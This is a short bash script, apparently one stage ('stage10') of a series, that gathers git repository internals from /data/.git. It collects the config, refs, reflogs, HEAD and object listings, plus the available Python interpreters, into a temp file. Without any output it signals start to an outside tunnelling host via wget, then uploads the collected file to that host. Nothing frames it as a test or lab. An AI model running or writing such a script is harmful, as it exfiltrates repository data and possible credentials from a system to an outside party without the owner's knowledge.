#!/bin/bash
wget -q --post-data=STAGE10_START https://itocu-144-225-109-109.run.pinggy-free.link/stage10_start >/dev/null 2>&1
OUT=/tmp/stage10.txt
{
echo "=== GITDIR"; ls -la /data/.git 2>&1
echo "=== PACKED"; cat /data/.git/packed-refs 2>&1 | head -100
echo "=== CONFIG"; cat /data/.git/config 2>&1
echo "=== REFS"; find /data/.git/refs -type f 2>/dev/null | while read f; do echo "--- $f"; cat "$f"; echo; done
echo "=== HEAD"; cat /data/.git/HEAD 2>&1
echo "=== LOGHEAD"; cat /data/.git/logs/HEAD 2>&1 | tail -100
echo "=== LOGS"; find /data/.git/logs -type f 2>/dev/null | while read f; do echo "--- $f"; tail -20 "$f"; done
echo "=== OBJECTS"; du -sh /data/.git/objects 2>&1; ls -la /data/.git/objects/pack 2>&1 | head -20
echo "=== PY"; which python3 python python2 2>&1; ls /usr/bin | grep -i python | head
echo "=== DONE10"
} > $OUT 2>&1
wget -q --post-file=$OUT https://itocu-144-225-109-109.run.pinggy-free.link/stage10_upload >/dev/null 2>&1
